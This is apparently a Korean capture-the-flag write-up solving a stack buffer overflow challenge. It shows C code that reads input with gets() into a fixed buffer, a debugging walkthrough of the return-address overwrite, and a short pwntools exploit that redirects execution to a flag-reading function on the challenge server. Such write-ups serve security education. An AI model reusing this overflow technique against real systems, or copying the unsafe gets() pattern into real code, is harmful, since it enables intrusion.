이번 문제에 대한 정보입니다.
우선 문제의 소스코드를 확인해보겠습니다.
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() { system("cat /flag"); }
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
위 코드의 동작을 살펴보면, 버퍼를 0x80
만큼 설정하고 initialize();
함수를 실행합니다.
initialize()
함수에 정의된 signal
함수는 30초를 카운트하여 초과 시 현재 프로세스를 종료시킵니다.그 다음 gets
를 통해 buf
크기만큼 데이터를 입력받습니다.
전체적인 코드의 실행은 위 설명과 같지만, main()
함수에서 호출하진 않으나 정의된 함수 중 read_flag()
함수 호출을 통해서 flag를 얻어내야 합니다.
우선 문제에 주어진 정보와 코드를 확인하였을 때, *Canary가 비활성화 되어 있으므로 *Buffer Overflow 취약점이 발생할 가능성이 있습니다.
직접 디버깅을 통해 BOF를 확인해보겠습니다.
main의 call gets@plt
호출을 하는 명령에 Break Point를 걸고 0x80
만큼 값을 입력한 뒤, 레지스터의 상태를 확인해보겠습니다.
위와 같이 A를 0x80
만큼 넣었을 때는 Stack에 저장된 buffer의 값이 다른 영역을 침범하지 않습니다. 이번엔 buffer의 크기를 4byte 만큼 초과하여 넣어보겠습니다.
위와 같이 4byte를 초과하여 입력을 하게 될 경우, Stack에 저장되어 있었던 이전 EBP
를 leave
를 통해 EBP
에 불러오게 되지만 Stack에서 지정해둔 크기보다 더 많은 데이터가 스택에 저장되었기 때문에 다른 영역을 침범하게 되어 EBP
에 이전 Stack의 시작 주소가 아닌 오염된 값을 불러오게 됩니다.
같은 이유로 ret
명령을 위해 Stack에 되돌아가기 위한 주소를 저장하게 되는데, 지정된 buffer의 크기보다 더 큰 값을 저장하여 Stack의 Return Address를 오염시킬 수 있습니다.
위와 같이 buffer를 채우기 위한 값 “A”를 0x80
, EBP
를 채우기 위한 값 “B”를 0x4
, Return Address를 채우기 위한 값 “C”를 0x4
만큼 입력하여 leave
와 ret
명령까지 실행했을 때, Invalid address라는 오류가 발생하며 Return Address가 오염된 것을 확인할 수 있습니다.
위와 같이 *Buffer Overflow를 통해 Return Address를 마음대로 조작할 수 있다는 것을 확인하였습니다. 이제 read_flag
함수를 읽도록 조작하는 Exploit Code를 작성해보겠습니다.
# read_flag address: 0x080485b9
from pwn import *
p = remote("host3.dreamhack.games", 12254)
payload = b"\x90" * 0x84 + p32(0x080485b9)
p.sendline(payload)
p.interactive()
위 코드를 실행시켜보겠습니다.
위와 같이 성공적으로 read_flag
함수를 호출하여 flag를 얻어낸 것을 확인할 수 있습니다!